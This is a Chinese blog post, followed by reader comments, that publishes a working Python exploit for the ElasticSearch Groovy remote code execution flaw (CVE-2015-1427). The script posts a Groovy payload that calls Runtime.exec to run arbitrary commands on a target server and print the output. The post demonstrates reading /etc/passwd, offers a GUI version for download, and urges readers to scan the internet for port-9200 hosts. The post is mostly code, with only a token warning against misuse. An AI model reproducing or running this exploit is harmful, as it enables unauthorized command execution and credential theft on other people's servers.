正在阅读:

Elastic search Groovy远程代码执行漏洞EXP

11,898

之前本站转载了乌云的《ElasticSearch 远程代码执行漏洞分析(CVE-2015-1427)&高级利用方法》,但是没有发布EXP,我等小菜就没得玩了,昨天晚上花了点时间折腾出来了一个,喜欢的同学们拿去玩吧,别搞破坏就行了。。。

ElasticSearch 远程代码执行漏洞EXP

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/3/14
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, re

try:
    import requests
except ImportError:
    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():
    print '+' + '-' * 60 + '+'
    print '\t Elastic search Groovy远程代码执行漏洞EXP'
    print '\t     Blog:http://www.waitalone.cn/'
    print '\t\t   Code BY: 独自等待'
    print '\t\t   Time:2015-03-14'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 3:
        print '用法: ' + os.path.basename(sys.argv[0]) + ' 待测Elastic search网站URL 待执行的命令'
        print '实例: ' + os.path.basename(sys.argv[0]) + ' https://www.waitalone.cn:9200/ "ifconfig"'
        sys.exit()


def elastic(cmd):
    """
    Elastic search 命令执行函数
    漏洞详情:http://zone.wooyun.org/content/18915
    测试案例:请自行扫描9200端口的网站吧。
    """
    results = []
    elastic_url = url + '_search?pretty'
    exp = '{"size":1,"script_fields": ' \
          '{"iswin": {"script":"java.lang.Math.class.forName(\\"java.lang.Runtime\\")' \
          '.getRuntime().exec(\\"' + cmd + '\\").getText()","lang": "groovy"}}}'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    # print exp
    try:
        content = requests.post(elastic_url, data=exp, headers=headers, timeout=10).content
    except Exception:
        print '[!] 报告爷,有错误发生,请检查是否连接超时!'
        raise SystemExit
    else:
        result = re.findall(re.compile('\"iswin\" : \[ "(.*?)" \]'), content)
        if result:
            results.append(result[0])
    return results


if __name__ == '__main__':
    usage()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    cmd = sys.argv[2]
    command = elastic(cmd)
    if command:
        print command[0].replace('\\n', '\n').replace('\\r','').replace('\\\\','\\')
    else:
        print '[!] 报告爷,漏洞不存在或者输入命令错误!'

测试结果如下图:

ElasticSearch 远程代码执行漏洞EXP

注意,如果命令中间有空格,请用双引号括起来,如下:

elasticsearch.py http://www.waitalone.cn:9200/ "cat /etc/passwd"

来本站的小兄弟们还附送一个图形界面版的,希望大家喜欢。

ElasticSearch 远程代码执行漏洞EXP

图形版下载地址:

点我下载

参考网址:

http://www.waitalone.cn/elasticsearch.html

https://github.com/Svti/ElasticSearchEXP/

http://zone.wooyun.org/content/18915

目前有:4条访客评论,博主回复3

  1. uoqqqo
    2015-03-16 09:48

    [/疑问] 下载不了

  2. uoqqqo
    2015-03-17 10:12

    [/吓到] 还是不行!

    • 独自等待
      2015-03-17 10:20

      你刷新一个这个页面再下载,我测试过好多次,都可以下载的。

  3. micfree
    2015-03-27 16:52

    学习python 有推荐什么书籍或有好的经验吗?

    • 独自等待
      2015-03-30 10:52

      书:python核心编程第二版,其它的在我博客搜索python

  4. aojiahuo
    2017-06-23 17:19

    我的运行报错呀 ,python 2.7

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌